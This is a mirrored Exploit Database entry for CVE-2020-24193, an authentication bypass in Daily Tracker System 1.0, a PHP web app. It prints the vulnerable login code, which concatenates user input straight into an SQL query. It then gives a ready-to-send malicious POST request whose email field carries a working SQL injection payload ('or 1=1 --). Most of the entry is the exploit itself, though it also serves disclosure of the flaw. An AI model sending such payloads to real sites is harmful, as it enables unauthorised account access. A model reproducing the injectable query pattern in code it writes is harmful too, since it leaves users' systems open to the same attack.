Daily Tracker System 1.0 – Authentication Bypass

• Exploit Database
• 13 阅读

• 作者： Adeeb Shah
  日期： 2020-09-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48787/

• # Exploit Title: Daily Tracker System 1.0 - Authentication Bypass
  # Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku)
  # CVE ID: CVE-2020-24193
  # Date: September 2, 2020
  # Vendor Homepage: https://www.sourcecodester.com/
  # Software Link: https://www.sourcecodester.com/download-code?nid=14372&title=Daily+Tracker+System+in+PHP%2FMySQL
  # Version: 1.0
  # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
  
  # Vulnerable Source Code
  
  if(isset($_POST['login']))
  {
  $email=$_POST['email'];
  $password=md5($_POST['password']);
  $query=mysqli_query($con,"select ID from tbluser whereEmail='$email' && Password='$password' ");
  $ret=mysqli_fetch_array($query);
  if($ret>0){
   $_SESSION['detsuid']=$ret['ID'];
   header('location:dashboard.php');
  }
   else{
   $msg="Invalid Details.";
   }
  }
  ?>
  
  
  # Malicious POST Request to https://TARGET/dets/index.php HTTP/1.1
  POST /dets/index.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://172.16.65.130/dets/index.php
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 48
  DNT: 1
  Connection: close
  Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
  Upgrade-Insecure-Requests: 1
  
  email='+or+1%3d1+--+hyd3sec&password=badPass&login=login